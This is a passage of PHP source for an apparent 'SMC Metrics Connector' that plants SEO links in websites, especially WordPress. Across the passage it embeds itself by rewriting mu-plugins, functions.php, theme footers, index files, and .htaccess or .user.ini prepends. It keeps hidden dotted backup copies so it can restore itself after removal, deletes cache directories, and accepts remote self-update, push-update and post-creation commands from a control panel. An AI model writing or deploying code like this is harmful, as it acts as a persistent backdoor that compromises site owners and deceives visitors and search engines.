define('SMC_EMBED_VIA_HOOK', true);\n" . " if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}, 1);\n"; } function install_mu_plugin($siteInfo) { $base = $siteInfo['document_root']; $muDir = $base . '/wp-content/mu-plugins'; if (!is_dir($muDir)) { if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed']; } if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable']; $marker = placement_marker('wp_mu_plugin'); $pluginPath = $muDir . '/00-smc-metrics.php'; // v5.6.1: убрать легаси RS mu-plugin (иначе двойной include) @unlink($muDir . '/rootseo-links-v5.php'); @unlink($muDir . '/smc-metrics-v5.php'); if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, 'mu_plugin_write_failed']; return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed']; } function install_functions_hook($siteInfo) { $footer = $siteInfo['active_theme_footer'] ?: null; if (!$footer) return [false, null, null, 'active_theme_footer_missing']; $functionsFile = dirname($footer) . '/functions.php'; if (!file_exists($functionsFile) || !is_writable($functionsFile)) return [false, null, null, 'functions_not_writable']; $marker = placement_marker('wp_functions_hook'); $content = @file_get_contents($functionsFile); if ($content === false) return [false, null, null, 'functions_read_failed']; $connectorPath = addslashes(__FILE__); $functionName = 'smc_render_' . preg_replace('/[^a-z0-9]/i', '', $marker); // v5.4: load early (after_setup_theme) so the_content contextual filter can register. $snippet = "\n/* SMC_FUNCTIONS_START:$marker v5.4 */\n" . "if (!function_exists('$functionName')) {\n" . "function $functionName() {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!file_exists(\$c)) { return; }\n" . " if (!defined('SMC_EMBED_VIA_HOOK')) define('SMC_EMBED_VIA_HOOK', true);\n" . " if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}\n" . "add_action('after_setup_theme', '$functionName', 1);\n" . "}\n/* SMC_FUNCTIONS_END:$marker */\n"; if (strpos($content, "SMC_FUNCTIONS_START:$marker") !== false) { return [true, $functionsFile, 'dynamic_php', 'functions_hook_exists']; } if (@file_put_contents($functionsFile, $content . $snippet) === false) return [false, null, null, 'functions_write_failed']; return [true, $functionsFile, 'dynamic_php', 'functions_hook_installed']; } function install_file_patch($filePath, $strategy) { $marker = placement_marker($strategy . '|' . $filePath); $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm'], true)) { list($ok, $msg) = upsert_html_file_block($filePath, $marker); return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker]; } list($ok, $msg) = upsert_php_file_block($filePath, $marker); return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker]; } function install_create_index_php($siteInfo) { // Empty docroots / Apache autoindex: auto_prepend never runs. Create a minimal // index.php that embeds the connector so homepage HTML actually shows links. $base = rtrim((string)($siteInfo['document_root'] ?? ''), '/'); if ($base === '') return [false, null, null, 'docroot_missing', null]; foreach (['index.php', 'index.html', 'index.htm'] as $file) { if (file_exists($base . '/' . $file)) { // Prefer patching an existing PHP index; HTML handled elsewhere. if ($file === 'index.php') { return install_file_patch($base . '/index.php', 'index_patch'); } return [false, null, null, 'non_php_index_exists', null]; } } $path = $base . '/index.php'; if (!is_dir($base) || !is_writable($base)) { return [false, null, null, 'docroot_not_writable', null]; } $marker = placement_marker('create_index_php'); $connectorPath = addslashes(__FILE__); $hostEcho = "echo htmlspecialchars(\$_SERVER['HTTP_HOST'] ?? '', ENT_QUOTES, 'UTF-8');"; $code = "<?php\n/* SMC_INDEX_START:$marker */\n" . "?><!DOCTYPE html>\n<html><head><meta charset=\"utf-8\"><meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">" . "<title><?php $hostEcho ?>\n" . "\n\n" . "\n"; if (@file_put_contents($path, $code) === false) { return [false, null, null, 'index_create_failed', $marker]; } return [true, $path, 'created_index_php', 'index_php_created', $marker]; } function smc_write_prepend_helper($marker) { $connectorPath = addslashes(__FILE__); $helperCode = " PLACEMENT_HISTORY_LIMIT) { $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT); } $config['placement']['history'] = array_values($history); return $config; } function verify_current_placement($config) { $placement = $config['placement'] ?? default_placement_state(); $strategy = $placement['strategy'] ?? ''; $target = $placement['target'] ?? ''; $marker = $placement['marker'] ?? ''; if (!$strategy || !$target || !$marker) return [false, 'placement_missing']; if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') { if (!file_exists($target)) return [false, 'target_missing']; $content = @file_get_contents($target); return ($content !== false && strpos($content, $marker) !== false) ? [true, 'marker_present'] : [false, 'marker_missing']; } if ($strategy === 'htaccess_prepend' || $strategy === 'user_ini_prepend') { if (!file_exists($target) || !file_exists(PREPEND_HELPER_FILE)) return [false, 'prepend_missing']; $content = @file_get_contents($target); return ($content !== false && strpos($content, PREPEND_HELPER_FILE) !== false) ? [true, 'prepend_present'] : [false, 'prepend_missing']; } if (!file_exists($target)) return [false, 'target_missing']; $content = @file_get_contents($target); if ($content === false) return [false, 'target_unreadable']; if (($placement['install_mode'] ?? '') === 'static_html') { return strpos($content, "SMC_HTML_START:$marker") !== false ? [true, 'static_block_present'] : [false, 'static_block_missing']; } return strpos($content, "SMC_START:$marker") !== false ? [true, 'dynamic_block_present'] : [false, 'dynamic_block_missing']; } function refresh_current_placement($config) { $placement = $config['placement'] ?? default_placement_state(); $target = $placement['target'] ?? ''; $marker = $placement['marker'] ?? ''; $installMode = $placement['install_mode'] ?? ''; if (!$target || !$marker) return [false, 'placement_target_missing']; if ($placement['strategy'] === 'htaccess_prepend' || $placement['strategy'] === 'user_ini_prepend') { return smc_write_prepend_helper($marker) ? [true, 'prepend_refreshed'] : [false, 'prepend_refresh_failed']; } if ($installMode === 'static_html') { return upsert_html_file_block($target, $marker); } if ($placement['strategy'] === 'wp_mu_plugin') { if (!file_exists($target)) return [false, 'mu_plugin_missing']; // v5.4 upgrade: rewrite mu-plugin to current early-load template (idempotent). $want = build_mu_plugin_code($marker); $have = @file_get_contents($target); if ($have !== $want && is_writable($target)) { @file_put_contents($target, $want); } return [true, 'dynamic_hook_ok']; } if ($placement['strategy'] === 'wp_functions_hook') { return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'functions_hook_missing']; } return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'dynamic_hook_missing']; } function ensure_secondary_wp_footer_patch($siteInfo) { // Belt-and-suspenders: even when mu-plugin verifies OK, also patch theme footer.php // so links render when wp_footer is missing / page-builder / cache edge cases. if (($siteInfo['site_type'] ?? '') !== 'wordpress') return [false, 'not_wordpress']; $footer = $siteInfo['active_theme_footer'] ?? null; if (!$footer || !file_exists($footer) || !is_writable($footer)) { // Fall back to any writable theme footer. foreach (($siteInfo['footer_paths'] ?? []) as $path) { if (file_exists($path) && is_writable($path) && substr($path, -10) === 'footer.php') { $footer = $path; break; } } } if (!$footer || !file_exists($footer) || !is_writable($footer)) { return [false, 'no_writable_theme_footer']; } return install_file_patch($footer, 'wp_active_footer'); } function smc_rm_tree_contents($dir, $depth = 0) { if ($depth > 10) return 0; if (!is_dir($dir) || !is_readable($dir)) return 0; $n = 0; $items = @scandir($dir); if (!is_array($items)) return 0; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . '/' . $item; if (is_dir($path) && !is_link($path)) { $n += smc_rm_tree_contents($path, $depth + 1); @rmdir($path); } else { if (@unlink($path)) $n++; } } return $n; } function smc_find_wp_roots() { $roots = []; $base = find_document_root(); if ($base) $roots[] = rtrim($base, '/'); $dir = __DIR__; for ($i = 0; $i < 7; $i++) { $roots[] = $dir; $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; } $out = []; foreach (array_unique($roots) as $root) { $root = rtrim((string)$root, '/'); if ($root === '') continue; if (is_file($root . '/wp-load.php') || is_file($root . '/wp-config.php')) { $out[] = $root; } } return array_values(array_unique($out)); } function smc_bootstrap_wp_for_purge() { if (defined('ABSPATH')) return true; if (defined('SMC_PURGING') && SMC_PURGING) return defined('ABSPATH'); foreach (smc_find_wp_roots() as $root) { $load = $root . '/wp-load.php'; if (!is_file($load)) continue; if (!defined('SMC_PURGING')) define('SMC_PURGING', true); if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false); try { require_once $load; return defined('ABSPATH'); } catch (\Throwable $e) { // try next root } } return false; } function smc_purge_filesystem_caches() { $deleted = 0; $touched = []; $relDirs = [ '/wp-content/cache', '/wp-content/litespeed', '/wp-content/cache/page_enhanced', '/wp-content/cache/supercache', '/wp-content/cache/wp-rocket', '/wp-content/cache/w3tc', '/wp-content/cache/w3tc-cache', '/wp-content/cache/autoptimize', '/wp-content/cache/all', '/wp-content/cache/wpfc-minified', '/wp-content/cache/swift-performance', '/wp-content/cache/flying-press', '/wp-content/et-cache', '/wp-content/uploads/cache', '/wp-content/uploads/wpcf7_uploads', '/wp-content/wp-rocket-config', '/wp-content/cache/breeze', '/wp-content/cache/hummingbird', '/wp-content/site-ground-security', '/wp-content/endurance-page-cache', '/cache', '/var/cache', ]; $roots = smc_find_wp_roots(); $doc = find_document_root(); if ($doc) $roots[] = rtrim($doc, '/'); $roots = array_values(array_unique(array_filter($roots))); foreach ($roots as $root) { foreach ($relDirs as $rel) { $path = $root . $rel; if (!is_dir($path)) continue; $n = smc_rm_tree_contents($path); if ($n > 0) { $deleted += $n; $touched[] = $rel; } } // WP Super Cache / common advanced-cache drop-in markers foreach ([ '/wp-content/advanced-cache.php', ] as $dropin) { // do not delete drop-in; just leave it } } return ['files_deleted' => $deleted, 'dirs' => array_values(array_unique($touched))]; } function smc_purge_plugin_hooks() { $actions = []; try { if (function_exists('wp_cache_flush')) { @wp_cache_flush(); $actions[] = 'wp_cache_flush'; } if (function_exists('rocket_clean_domain')) { @rocket_clean_domain(); $actions[] = 'rocket_clean_domain'; } if (function_exists('rocket_clean_minify')) { @rocket_clean_minify(); $actions[] = 'rocket_clean_minify'; } if (function_exists('w3tc_flush_all')) { @w3tc_flush_all(); $actions[] = 'w3tc_flush_all'; } if (function_exists('wp_cache_clear_cache')) { @wp_cache_clear_cache(); $actions[] = 'wp_super_cache_clear'; } if (function_exists('wpsupercache_purge_all')) { @wpsupercache_purge_all(); $actions[] = 'wpsupercache_purge_all'; } if (function_exists('has_action') && function_exists('do_action') && has_action('litespeed_purge_all')) { do_action('litespeed_purge_all'); $actions[] = 'litespeed_purge_all'; } if (class_exists('LiteSpeed\\Purge') && method_exists('LiteSpeed\\Purge', 'purge_all')) { try { call_user_func(['LiteSpeed\\Purge', 'purge_all']); $actions[] = 'litespeed_purge_all_class'; } catch (\Throwable $e) {} } if (function_exists('sg_cachepress_purge_cache')) { @sg_cachepress_purge_cache(); $actions[] = 'siteground_purge'; } if (function_exists('sg_cachepress_purge_everything')) { @sg_cachepress_purge_everything(); $actions[] = 'siteground_purge_everything'; } if (function_exists('nitropack_sdk_purge')) { @nitropack_sdk_purge(); $actions[] = 'nitropack_purge'; } if (function_exists('breeze_clear_all_cache')) { @breeze_clear_all_cache(); $actions[] = 'breeze_clear_all_cache'; } if (function_exists('cache_enabler_clear_complete_cache')) { @cache_enabler_clear_complete_cache(); $actions[] = 'cache_enabler_clear'; } if (function_exists('autoptimize_cache_clear')) { @autoptimize_cache_clear(); $actions[] = 'autoptimize_cache_clear'; } if (function_exists('wpfc_clear_all_cache')) { @wpfc_clear_all_cache(true); $actions[] = 'wp_fastest_cache_clear'; } if (class_exists('WpFastestCache') && method_exists('WpFastestCache', 'deleteCache')) { try { (new WpFastestCache())->deleteCache(true); $actions[] = 'wp_fastest_cache_class'; } catch (\Throwable $e) {} } if (function_exists('hummingbird_clear_page_cache')) { @hummingbird_clear_page_cache(); $actions[] = 'hummingbird_clear_page_cache'; } if (function_exists('has_action') && function_exists('do_action') && has_action('cache_enabler_clear_complete_cache')) { do_action('cache_enabler_clear_complete_cache'); } if (function_exists('has_action') && function_exists('do_action') && has_action('ce_clear_cache')) { do_action('ce_clear_cache'); $actions[] = 'ce_clear_cache'; } if (function_exists('flying_press_purge_all')) { @flying_press_purge_all(); $actions[] = 'flying_press_purge_all'; } // Cloudflare plugin (if present) if (function_exists('do_action') && class_exists('\\CF\\WordPress\\Hooks')) { try { do_action('cloudflare_purge_everything'); $actions[] = 'cloudflare_purge_everything'; } catch (\Throwable $e) {} } if (function_exists('has_action') && function_exists('do_action') && has_action('smc_purge_caches')) { do_action('smc_purge_caches'); $actions[] = 'smc_purge_caches_action'; } } catch (\Throwable $e) { $actions[] = 'hook_error:' . substr($e->getMessage(), 0, 80); } // LiteSpeed / proxies: ask edge to skip cache on this API response if (!headers_sent()) { @header('X-LiteSpeed-Purge: *'); @header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); @header('CDN-Cache-Control: no-store'); @header('Cloudflare-CDN-Cache-Control: no-store'); } return $actions; } function smc_purge_caches($bootstrapWp = true) { $report = [ 'opcache' => false, 'wp_bootstrapped' => defined('ABSPATH'), 'plugin_hooks' => [], 'filesystem' => ['files_deleted' => 0, 'dirs' => []], ]; try { if (function_exists('opcache_invalidate')) { @opcache_invalidate(__FILE__, true); @opcache_invalidate(PREPEND_HELPER_FILE, true); $report['opcache'] = true; } if ($bootstrapWp && !defined('ABSPATH')) { $report['wp_bootstrapped'] = smc_bootstrap_wp_for_purge(); } else { $report['wp_bootstrapped'] = defined('ABSPATH'); } $report['plugin_hooks'] = smc_purge_plugin_hooks(); $report['filesystem'] = smc_purge_filesystem_caches(); } catch (\Throwable $e) { $report['error'] = substr($e->getMessage(), 0, 120); } return $report; } function ensure_render_delivery($forceReinstall = false) { $config = load_config(); $siteInfo = detect_site_info(); $placement = $config['placement'] ?? default_placement_state(); $verified = [false, 'not_checked']; if (!$forceReinstall) { $verified = verify_current_placement($config); if ($verified[0]) { $placement['status'] = 'installed'; $placement['verify_status'] = $verified[1]; $placement['last_verified_at'] = gmdate('c'); $config['placement'] = $placement; save_config($config); refresh_current_placement($config); // Still reinforce WP theme-footer patch when primary is hook-only. // v5.7.7: footer.php НЕ трогаем (битые записи на ряде хостингов -> parse error) return [true, $config, ['verified' => true, 'message' => $verified[1]]]; } } foreach (build_strategy_chain($siteInfo) as $strategy) { $nowIso = gmdate('c'); if (is_string($strategy)) { if ($strategy === 'wp_mu_plugin') { list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo); $marker = placement_marker('wp_mu_plugin'); $strategyName = 'wp_mu_plugin'; } elseif ($strategy === 'wp_functions_hook') { list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo); $marker = placement_marker('wp_functions_hook'); $strategyName = 'wp_functions_hook'; } elseif ($strategy === 'create_index_php') { list($ok, $target, $mode, $msg, $marker) = install_create_index_php($siteInfo); $strategyName = 'create_index_php'; } elseif ($strategy === 'user_ini_prepend') { list($ok, $target, $mode, $msg, $marker) = install_user_ini_prepend($siteInfo); $strategyName = 'user_ini_prepend'; } elseif ($strategy === 'htaccess_prepend') { list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo); $strategyName = 'htaccess_prepend'; } elseif ($strategy === 'any_php_file') { list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo); $strategyName = 'any_php_file'; } else { continue; } } else { $strategyName = $strategy[2]; list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]); } $config = append_placement_history($config, [ 'at' => $nowIso, 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'success' => (bool)$ok, 'message' => $msg, ]); if ($ok) { $config['placement'] = [ 'status' => 'installed', 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'marker' => $marker, 'message' => $msg, 'installed_at' => $config['placement']['installed_at'] ?: $nowIso, 'last_attempt_at' => $nowIso, 'last_verified_at' => $nowIso, 'verify_status' => 'installed', 'history' => $config['placement']['history'], ]; save_config($config); refresh_current_placement($config); if (($siteInfo['site_type'] ?? '') === 'wordpress' && $strategyName !== 'wp_active_footer') { ensure_secondary_wp_footer_patch($siteInfo); } $links = load_links(); foreach ($links as $id => $row) { $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return [true, $config, ['verified' => false, 'message' => $msg]]; } } $config['placement']['status'] = 'failed'; $config['placement']['last_attempt_at'] = gmdate('c'); $config['placement']['message'] = 'no_strategy_succeeded'; save_config($config); return [false, $config, ['verified' => false, 'message' => 'no_strategy_succeeded']]; } function placement_report_payload() { $config = load_config(); $siteInfo = detect_site_info(); $links = load_links(); $stats = get_link_stats($links); list($ok, $verifyMessage) = verify_current_placement($config); $config['placement']['last_verified_at'] = gmdate('c'); $config['placement']['verify_status'] = $verifyMessage; save_config($config); return [ 'version' => CONNECTOR_VERSION, 'site_info' => $siteInfo, 'placement' => $config['placement'], 'link_stats' => $stats, 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'placement_ok' => $ok, ]; } function verify_links_action() { $links = load_links(); $config = load_config(); $nowIso = gmdate('c'); foreach ($links as $id => $row) { $row['last_verified_at'] = $nowIso; $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return placement_report_payload(); } function clear_expired_links() { $links = load_links(); $active = []; $removed = []; $now = time(); foreach ($links as $id => $row) { $expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $removed[] = $id; continue; } $active[$id] = $row; } save_links($active); refresh_current_placement(load_config()); smc_purge_caches(true); return [$active, $removed]; } function self_reconcile_action() { $links = load_links(); $merged = []; $removedDuplicates = 0; foreach ($links as $row) { $id = build_deterministic_link_id($row['url'], $row['anchor'], $row['rel']); if (isset($merged[$id])) { $removedDuplicates++; $existingExp = isset($merged[$id]['expires_at']) ? intval($merged[$id]['expires_at']) : 0; $incomingExp = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if ($incomingExp > $existingExp) { $merged[$id]['expires_at'] = $incomingExp; } if (!empty($row['render_types'])) { $merged[$id]['render_types'] = filter_render_types(array_merge($merged[$id]['render_types'], $row['render_types'])); } } else { $row['id'] = $id; $merged[$id] = $row; } } save_links($merged); list($active, $expiredRemoved) = clear_expired_links(); list($ok, $config, $placement) = ensure_render_delivery(false); $cachePurge = smc_purge_caches(true); return [ 'reconciled' => true, 'placement_ok' => $ok, 'removed_duplicate_entries' => $removedDuplicates, 'removed_expired_entries' => count($expiredRemoved), 'placement' => placement_report_payload(), 'cache_purge' => $cachePurge, ]; } // ===== Consolidated auto-clean (throttled): expired + contextual TTL ===== // This single routine replaces scattered cleanup; it never runs more than once per // AUTO_CLEAN_THROTTLE_SECONDS during front-end renders, so it adds negligible overhead. function smc_autoclean_tick() { try { $state = load_json_file(GUARDIAN_STATE_FILE, []); $now = time(); $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0; if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return; $state['last_autoclean'] = $now; @save_json_file(GUARDIAN_STATE_FILE, $state); $links = load_links(); $kept = []; foreach ($links as $id => $row) { $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($exp) && $exp > 0 && $exp < $now) continue; // drop expired (footer+contextual) $kept[$id] = $row; } if (count($kept) !== count($links)) { save_links($kept); } } catch (\Throwable $e) { // never break the host page } } // ===== Guardian: self-healing mirrors ===== function guardian_dirs() { // Hidden, dotted backup dirs next to the connector + one in the doc-root. $base = __DIR__; $dirs = []; for ($i = 1; $i <= GUARDIAN_COPIES; $i++) { $dirs[] = $base . '/.smc_g' . $i; } return $dirs; } function guardian_write_copies() { $self = __FILE__; $src = @file_get_contents($self); if ($src === false || $src === '') return; $stamp = ['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $src), 'at' => time()]; foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.smc_connector.php.bak', $src); @file_put_contents($dir . '/.smc_stamp.json', json_encode($stamp)); @file_put_contents($dir . '/index.html', ''); // keep dir quiet / non-listable } } function guardian_best_backup() { // Returns [source, version] of the newest valid backup, or null. $best = null; foreach (guardian_dirs() as $dir) { $bak = $dir . '/.smc_connector.php.bak'; $stampFile = $dir . '/.smc_stamp.json'; if (!file_exists($bak)) continue; $src = @file_get_contents($bak); if ($src === false || strpos($src, '')) { $best = ['src' => $src, 'version' => $ver]; } } return $best; } function smc_guardian_tick() { try { $state = load_json_file(GUARDIAN_STATE_FILE, []); $now = time(); $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0; if (($now - $last) < GUARDIAN_THROTTLE_SECONDS) return; $state['last_guardian'] = $now; @save_json_file(GUARDIAN_STATE_FILE, $state); $self = __FILE__; $selfExists = file_exists($self); $selfSrc = $selfExists ? (@file_get_contents($self) ?: '') : ''; $selfHealthy = $selfExists && strpos($selfSrc, 'SMC Metrics Connector') !== false; // Version-aware: only refresh mirrors if our copy is newer/equal. Never let an // older mirror overwrite a newer primary (prevents undoing a self_update). $best = guardian_best_backup(); if ($selfHealthy) { if ($best === null || version_compare(CONNECTOR_VERSION, $best['version'], '>=')) { guardian_write_copies(); } // Re-ensure dropped artifacts (mu-plugin etc.) still present. @refresh_current_placement(load_config()); return; } // Primary missing/corrupt → restore from the newest valid backup. if ($best !== null) { $tmp = $self . '.heal.' . substr(md5((string)$now), 0, 6); if (@file_put_contents($tmp, $best['src']) !== false) { @rename($tmp, $self); if (function_exists('opcache_invalidate')) @opcache_invalidate($self, true); } } } catch (\Throwable $e) { // never break the host page } } if ((defined('SMC_CONNECTOR_EMBED_RENDER') && SMC_CONNECTOR_EMBED_RENDER === true) || (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true)) { if ((defined('SMC_EMBED_VIA_HOOK') && SMC_EMBED_VIA_HOOK || defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK) && function_exists('add_action')) { // WordPress early-load (mu-plugin / functions hook): register filters/actions. smc_wp_register(); } else { // Inline include (file patch / htaccess prepend): emit footer at this position. smc_guardian_tick(); smc_autoclean_tick(); echo smc_build_footer_html(false); } return; } // CLI/lib include mode: expose functions for offline fixture tests without running the HTTP router. if (defined('SMC_CLI_LIB_ONLY') && SMC_CLI_LIB_ONLY) { return; } $req = get_request_data(); $action = get_action_name($req); if (!in_array($action, ['ping', 'capabilities', 'output'], true)) { authenticate_protected_request(); } switch ($action) { case 'ping': $links = load_links(); $config = load_config(); $stats = get_link_stats($links); $siteInfo = detect_site_info(); list($placementOk, $verifyMessage) = verify_current_placement($config); respond(true, [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $siteInfo['site_name'], 'site_type' => $siteInfo['site_type'], 'language' => $siteInfo['language'], 'country' => $siteInfo['country'], 'version' => CONNECTOR_VERSION, 'connector_family' => 'v5', 'keyless' => true, 'auth_mode' => 'panel_token', 'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))), 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'links_total' => $stats['total'], 'links_active' => $stats['active'], 'links_expired' => $stats['expired'], 'footer_detected' => $siteInfo['footer_detected'], 'footer_writable' => $siteInfo['footer_writable'], 'placement_ok' => $placementOk, 'placement_strategy' => $config['placement']['strategy'], 'placement_target' => $config['placement']['target'], 'placement_verify_status' => $verifyMessage, 'supports' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'get_config', 'set_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create'] ], 'ok'); break; case 'capabilities': respond(true, [ 'version' => CONNECTOR_VERSION, 'auth' => ['panel_token', 'optional_replay_headers'], 'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'], 'render_types' => default_render_types(), 'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'create_index_php', 'htaccess_prepend', 'any_php_file'], 'limits' => [ 'max_links_per_sync' => MAX_LINKS_PER_SYNC, 'max_anchor_length' => MAX_ANCHOR_LENGTH, 'max_url_length' => MAX_URL_LENGTH, 'max_request_bytes' => MAX_REQUEST_BYTES, 'footer_link_cap' => 0, ], 'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache', 'post_create', 'post_list', 'post_delete', 'cat_create'], 'cache_purge' => true, ], 'capabilities'); break; case 'info': respond(true, detect_site_info(), 'info'); break; case 'diagnose': $siteInfo = detect_site_info(); $links = load_links(); $stats = get_link_stats($links); $config = load_config(); list($placementOk, $verifyMessage) = verify_current_placement($config); $diag = [ 'version' => CONNECTOR_VERSION, 'file_permissions' => [ 'links_file' => LINKS_FILE, 'links_file_exists' => file_exists(LINKS_FILE), 'links_dir_writable' => is_writable(dirname(LINKS_FILE)), 'config_file' => CONFIG_FILE, 'config_file_exists' => file_exists(CONFIG_FILE), 'config_dir_writable' => is_writable(dirname(CONFIG_FILE)), 'nonces_file' => NONCES_FILE, 'nonces_file_exists' => file_exists(NONCES_FILE), 'prepend_helper_file' => PREPEND_HELPER_FILE, 'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE), ], 'link_stats' => $stats, 'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))), 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'placement' => $config['placement'], 'placement_ok' => $placementOk, 'placement_verify_status' => $verifyMessage, 'site_info' => $siteInfo, 'php_settings' => [ 'php_version' => phpversion(), 'allow_url_fopen' => ini_get('allow_url_fopen'), 'open_basedir' => ini_get('open_basedir') ?: 'not_set', 'max_execution_time' => ini_get('max_execution_time'), ], 'recommendations' => [], ]; if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable'; if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected'; if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall'; respond(true, $diag, 'diagnose'); break; case 'get_links': $links = load_links(); $stats = get_link_stats($links); respond(true, [ 'links' => array_values($links), 'total' => $stats['total'], 'active' => $stats['active'], 'expired' => $stats['expired'], 'placement' => load_config()['placement'], 'render_types' => load_config()['render_types'], ], 'links'); break; case 'add_link': $url = validate_url_value($req['url'] ?? ''); $anchor = validate_anchor_text($req['anchor'] ?? ''); $linkText = trim((string)($req['text'] ?? '')); if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600); $rel = normalize_rel($req['rel'] ?? 'dofollow'); $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null; if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400); $config = load_config(); $existingLinks = load_links(); $backup = $existingLinks; $linkId = validate_link_id($req['id'] ?? ''); if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel); // v5.3: render_types now honoured from payload (panel can force a single variant per link). $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null; if (is_string($reqRenderTypes)) { $decoded = json_decode($reqRenderTypes, true); if (is_array($decoded)) $reqRenderTypes = $decoded; else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes))); } $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes) ? filter_render_types($reqRenderTypes) : $config['render_types']; $row = [ 'id' => $linkId, 'kind' => normalize_kind($req['kind'] ?? 'footer'), 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(), 'updated_at' => time(), 'render_profile' => $config['render_profile'], 'render_types' => $effectiveRenderTypes, 'seo_hidden' => !empty($req['seo_hidden']) || !empty($req['hidden_link']), ]; $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']); save_links($existingLinks); list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false); if (!$ok) { save_links($backup); respond(false, [ 'link_id' => $linkId, 'injected' => false, 'placement_report' => placement_report_payload(), ], 'placement_install_failed', 500); } $finalLinks = load_links(); $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig); $cachePurge = smc_purge_caches(true); respond(true, [ 'link_id' => $linkId, 'injected' => true, 'render_types' => $finalRow['render_types'], 'placement_strategy' => $newConfig['placement']['strategy'], 'placement_target' => $newConfig['placement']['target'], 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge, ], 'link_added'); break; case 'remove_link': $linkId = validate_link_id($req['link_id'] ?? ''); if ($linkId === '') respond(false, [], 'invalid_link_id', 400); $links = load_links(); if (isset($links[$linkId])) { unset($links[$linkId]); if (!save_links($links)) respond(false, [], 'links_write_failed', 500); refresh_current_placement(load_config()); $cachePurge = smc_purge_caches(true); } else { $cachePurge = ['skipped' => true]; } respond(true, ['removed' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'link_removed'); break; case 'sync_links': $incoming = $req['links'] ?? []; if (is_string($incoming)) { $decoded = json_decode($incoming, true); if (is_array($decoded)) $incoming = $decoded; } if (!is_array($incoming)) respond(false, [], 